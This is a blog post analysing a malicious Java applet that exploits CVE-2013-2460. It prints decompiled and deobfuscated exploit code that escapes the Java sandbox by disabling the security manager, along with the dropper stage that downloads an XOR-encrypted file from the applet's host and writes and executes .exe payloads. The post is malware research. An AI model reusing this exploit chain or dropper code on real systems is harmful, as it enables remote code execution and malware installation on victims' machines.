Friday, October 3, 2014

Analysis of a Java malicious applet that uses CVE-2013-2460 exploit

The analysed sample is a JavaFX serialized applet based on CVE-2013-2460 exploit.
Its MD5 is 43a00a7396cfe8bfdf7ef8ec2008e898.
The applet can be successfully decompiled by using Procyon decompiler, which outputs the following source files.
/root_dir/ | |__/Dt/ | |__Paor.java | |__/i/ | |__Tsh.java | |__Tv.java | |__/vo/ | |__Taspom.java | |__Tvo.java | |__Coder.java |__Main.java |__Ni.java
The entry point of the application is the method Main.start().
public void start(final Stage paramStage) throws Exception { try { Main.Ijt = this.getHostServices().getCodeBase(); Deppv(); final ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); Deppv(); Main.arrayOfByte = new byte[8192]; Deppv(); Deppv(); final InputStream localInputStream = this.getClass().getResourceAsStream("/vo/Taspom.class"); Deppv(); final String b = Taspom.Nosik("sun.1rg.mozilla.javascript.internal.Generat2d") + Paor.cls + "Loader"; Deppv(); Deppv(); Deppv(); int i; while ((i = localInputStream.read(Main.arrayOfByte)) > 0) { Deppv(); localByteArrayOutputStream.write(Main.arrayOfByte, 0, i); } Deppv(); Main.arrayOfByte = localByteArrayOutputStream.toByteArray(); Deppv(); localByteArrayOutputStream.close(); Deppv(); Deppv(); localInputStream.close(); Deppv(); Deppv(); final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Deppv(); this.invoc = Proxy.getInvocationHandler(Coder.Lol(localProviderFactory)); this.Fovon(2, b); } catch (Throwable t) {} }
Minor obfuscation can be observed. Some strings are modified by substituting some of their characters with numbers. Function Taspom.Nosik(String) is the "decryption" routine.
public static String Nosik(final String src) { String res = ""; for (int i = 0; i < src.length(); ++i) { if (src.charAt(i) == '1') { res += "o"; } else if (src.charAt(i) == '2') { res += "e"; } else if (src.charAt(i) == '5') { res += "m"; } else if (src.charAt(i) == '8') { res += "a"; } else { res += src.charAt(i); } } return res; }
A bogus function, Deppv(), is scattered across the code, doing nothing more than declaring and initializing a float variable to a static value.
public static void Deppv() { final Double f = 3.232; }
It can be reasonably assumed that the obfuscation's goal is more to hinder an automatic analysis rather than a manual approach.
Once executed, the applet stores in Main.Ijt its code base, that is, the path in which the applet is saved. It is later used to refer to payload files, which are stored on the same path as the applet's.


Exploit

CVE-2013-2460 exploit affects Java 7u21 and earlier versions; it is based on an insecure use of java.lang.reflect.Method.invoke(Object obj, Object... args) method within sun.tracing.ProviderSkeleton.invoke(Object proxy, Method method, Object[] args) method. Indeed, no check is performed on the invoked methods, and, since this class is privileged, it can be leveraged to invoke a static user-provided method that changes the applet's security settings (e.g. disable the security manager). As a consequence, arbitrary code can then be executed.
This vulnerability has been described and exploited by Security Explorations in 2012; they refer to it as "Issue #61". A ready-to-use PoC is provided by Security Explorations. However, although an unobfuscated PoC does exist, I extracted and deobfuscated the exploit's code from the malicious applet as an exercise.

The exploitation begins by creating an instance of the privileged class that owns the vulnerable method. The object is obtained through a call to createProvider() static method, that is performed by using com.sun.tracing.ProviderFactory class. An interface (Ni.class) is provided as a parameter. The interface does not add any functionality and, as a consequence, a sun.tracing.NullProvider object is obtained as result. Since NullProvider's superclass is sun.tracing.ProviderSkeleton, this object is able to execute the vulnerable invoke() method of its superclass. An invocation handler is then obtained from the NullProvider object. The invoc object can be used to invoke methods with NullProvider's privileges.
public interface Ni extends Provider {} final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Class pf = Class.forName("com.sun.tracing.ProviderFactory"); Provider provider = pf.getMethods()[1].invoke(localProviderFactory, Ni.class); //createProvider() InvocationHandler invoc = Proxy.getInvocationHandler(provider);
The exploit's goal is to access restricted classes in order to load and execute user-provided code in a privileged manner. To accomplish that, references to these classes, along with references to their methods, have to be obtained. By using the privileged object invoc, a call to forName() method is performed.
final Method localMethod2 = Class.class.getMethod("forName", String.class); final Class localClass3 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.Context"}); final Class localClass4 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.GeneratedClassLoader"});
A Lookup object is created in order to obtain method's references, by using the vulnerable class as a proxy. Methods Lookup.findStatic() and Lookup.findVirtual() are used. A convenience routine is used to perform the lookup for all three methods.
public static MethodHandle getMethodHandle(final Class c, final String name, final Class c2, final Class[] ca, final boolean isstatic) throws Exception { final MethodType localMethodType = MethodType.methodType(c2, ca); Class localClass = Class.forName("java.lang.invoke.MethodHandles$Lookup"); if (isstatic) { Method findstatic = localClass.getMethod("findStatic", Class.class, String.class, MethodType.class); return (MethodHandle)findstatic.invoke(look, c, name, localMethodType); } else { Method findvirtual = localClass.getMethod("findVirtual", Class.class, String.class, MethodType.class); return (MethodHandle)findvirtual.invoke(look, c, name, localMethodType); } } //a Lookup object is obtained final Method localMethod1 = Class.forName("java.lang.invoke.MethodHandles").getMethod("lookup", new Class[0]); look = invoc.invoke(null, localMethod1, new Object[0]); look = Class.forName("java.lang.invoke.MethodHandles$Lookup").cast(look); //methods' references are obtained by using the convenience routine getMethodHandle() final MethodHandle localMethodHandle1 = getMethodHandle(localClass3, "enter", localClass3, new Class[0], true); final MethodHandle localMethodHandle2 = getMethodHandle(localClass3, "createClassLoader", localClass4, new Class[] { Class.forName("java.lang.ClassLoader") }, false); final MethodHandle localMethodHandle3 = getMethodHandle(localClass4, "defineClass", Class.class, new Class[] { String.class, byte[].class }, false);
One difference can be observed between this malware's exploit and the PoC provided by Security Explorations. Indeed, their call to sun.org.mozilla.javascript.internal.DefiningClassLoader.defineClass() is replaced here by a call to sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass(). However, this difference does not affect the exploit's effectiveness, since it works both ways.

Finally, a new classloader is defined within the current context, and a custom class (vo.Taspom) is loaded into it as a byte array.
//invocation of sun.org.mozilla.javascript.internal.Context.enter() final Object localObject1 = localMethodHandle1.invoke(); //invocation of sun.org.mozilla.javascript.internal.Context.createClassLoader() final Object localObject2 = localMethodHandle2.invoke(localObject1, (Void)null); //invocation of sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass() final Class localClass = (Class)localMethodHandle3.invoke(localObject2, "vo.Taspom", arrayOfByte); //the auxiliary class is executed localClass.newInstance();
Since the auxiliary class disables the security manager, it is now possible to execute arbitrary code at system level.
package vo; import java.security.*; //auxiliary class provided as a byte array public class Taspom implements PrivilegedExceptionAction { public Taspom() { super(); try { AccessController.doPrivileged((PrivilegedExceptionAction<Object>)this); } catch (Exception ex) {} } public Object run() { try { System.setSecurityManager(null); } catch (Exception ex) {} return null; } }

Payload

Once exploitation is completed, a byte array is written into a .class file and then executed. Firstly, the byte array is reversed and decoded.
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; String ftuc = new StringBuilder("=UGACAAAAQGABAgVAAAABAgBAAAA[...]AuAgCmBwLAoQuAEDAAAgv").reverse().toString(); final byte[] arrayOfByte = Base64.decode("yv66".concat(ftuc));
Then, the byte stream is written into a file called Interface.class, within the system's temp directory.
tmp = System.getProperty("java.io.tmpdir"); final Class fos = Class.forName("java.io.FileOutputStream"); final Object localObject = fos.getConstructor(String.class).newInstance(tmp + "Interface.class"); Method write = fos.getMethod("write", byte[].class, Integer.TYPE, Integer.TYPE); write.invoke(localObject, arrayOfByte, 0, arrayOfByte.length); fos.getMethods()[3].invoke(localObject, new Object[0]); //localObject.close()
The application's code base is retrieved as soon as the applet starts. It is then passed to the payload .class file as a parameter. Main.Ijt = this.getHostServices().getCodeBase(); //payload class is launched: typically the command is 'javaw -cp c:\temp\Interface <codeBase>' Runtime.getRuntime().exec("javaw -cp " + tmp + " Interface " + Main.Ijt.toString());
The byte stream which acts as a payload can be easily copied into a file and then decompiled, without having to execute the applet's code.
The entry point of Interface.class is its main() method. Some data is read from an mp3 file, which is located in the applet's code base. //current time, e.g. "223306" for 06:22:33 String name = (new SimpleDateFormat("mmssHH")).format(Calendar.getInstance().getTime()); ByteArrayOutputStream bais = new ByteArrayOutputStream(); BufferedInputStream in = null; byte[] ar; int xcvnwe; //it reads the content of a mp3 file, storing it in bais try { //the mp3 file is in the same path of the jar application (its code base) in = new BufferedInputStream((new URL(args[0] + name + ".mp3")).openStream()); ar = new byte[1024]; while ((xcvnwe = in.read(ar)) > 0) bais.write(ar, 0, xcvnwe); } finally { if (in != null) in.close(); }
The resulting byte stream is then XOR decrypted, by means of Tenui() routine. //XOR decryption routine public static byte[] Tenui(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) { byte[] arrayOfByte = new byte[paramArrayOfByte1.length]; for(int i = 0; i < paramArrayOfByte1.length; ++i) arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[i % paramArrayOfByte2.length]); return arrayOfByte; } ar = Tenui(bais.toByteArray(), "m3S4V".getBytes());
Depending on the byte array's data, one of two possible actions is undertaken: in the first case, data is written into an .exe file which is then executed. In the second case, data is splitted between two different .exe files. Both of them are then executed. //xcvnwe's value depends on the byte array xcvnwe = Ulma(ar, "c3j2S".getBytes()); byte[][] fasx = new byte[2][]; if(xcvnwe == -5) { //writes a subset of ar's data in the exe file and executes it Suhra(ar, name); } else { //splits the data between the first exe file and a second one (called e.g. "2233"), and executes them fasx[0] = Arrays.copyOfRange(ar, 0, xcvnwe); fasx[1] = Arrays.copyOfRange(ar, xcvnwe + 5, ar.length); String name1 = (new SimpleDateFormat("mmss")).format(Calendar.getInstance().getTime()); Suhra(fasx[0], name); Suhra(fasx[1], name1); } //the "launcher" routine public static void Suhra(byte[] ar, String name) throws Exception { String ss = System.getProperty("java.io.tmpdir") + name + ".exe"; FileOutputStream fout = new FileOutputStream(ss); fout.write(ar); fout.close(); Runtime r = Runtime.getRuntime(); r.exec(ss); }
Since the mp3 file was not bundled along with the applet, no further analysis is possible. However, this sample made possible to study both the exploit and some inner workings of a two-stage-payload malware.

No comments:

Post a Comment